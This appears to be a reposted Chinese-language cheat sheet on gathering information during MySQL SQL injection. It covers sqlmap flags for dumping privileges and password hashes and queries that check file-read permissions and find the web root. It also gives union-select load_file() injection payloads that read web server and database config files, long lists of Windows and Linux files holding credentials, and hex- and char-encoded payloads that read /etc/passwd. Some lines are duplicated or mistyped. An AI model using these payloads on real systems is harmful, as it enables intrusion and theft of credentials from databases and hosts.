Mysql注入中的信息收集[保持更新]


SQL注入中的信息收集

注入點數據庫用戶是否dba

sqlmap: --is-dba --current-user
select user();

注入點數據庫用戶具體擁有的權限及相關信息如密碼hash

sqlmap: --privileges

show grants for root@localhost;
select * from mysql.user where user='root'\G;

secure_file_pri是否為null或包含可訪問路徑

secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE(),dumpfile傳到哪個指定目錄的。即mysql的讀和寫函數

  1. secure_file_priv為null 表示不允許導入導出
  2. secure_file_priv指定文件夾時,表示mysql的導入導出只能發生在指定的文件夾
  3. secure_file_priv沒有設置時,則表示沒有任何限制
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

網站絕對路徑

phpinfo

報錯顯示絕對路徑

通過數據庫存儲路徑/數據庫日志路徑猜測網站路徑

select @@datadir;
SHOW GLOBAL VARIABLES LIKE '%log%';

讀中間件配置文件

sqlmap:--file-read
select load_file('/etc/apache/conf/httpd.conf');

Mysql版本

sqlmap:--banner

select version();

5.1x無 information_schema 庫,只能枚舉查詢庫名表名
Mysql高版本如5.6以上安全模式默認禁止寫入寫出

是否有相關中間件,如phpmyadmin

phpmyadmin舊版本漏洞
通過phpmyadmin日志getshell
獲取系統信息等

讀密碼

讀網站管理員密碼

找庫找表讀密碼登后台

讀數據庫用戶密碼

sqlmap:--passwords

select * from mysql.user\G;
select * from mysql.user where user='root'\G;

密碼hash解不開

有絕對路徑則讀取數據庫配置文件,需要load_file()權限
讀/etc/init.d下的東西,這里有配置文件路徑
?id=1' union select 1,2,load_file('/etc/init.d/httpd')
得到web安裝路徑
?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
讀取數據庫配置
?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')

讀文件

sqlmap:--file-read
select load_file('絕對路徑');

Windows

c:/boot.ini //查看系統版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置
c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲於此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件//存儲了pcAnywhere的登陸密碼
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系統apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp開發的網站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼

Linux

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相關設置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虛擬主機配置文件
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
/etc/sysconfig/iptables 查看防火牆策略
load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM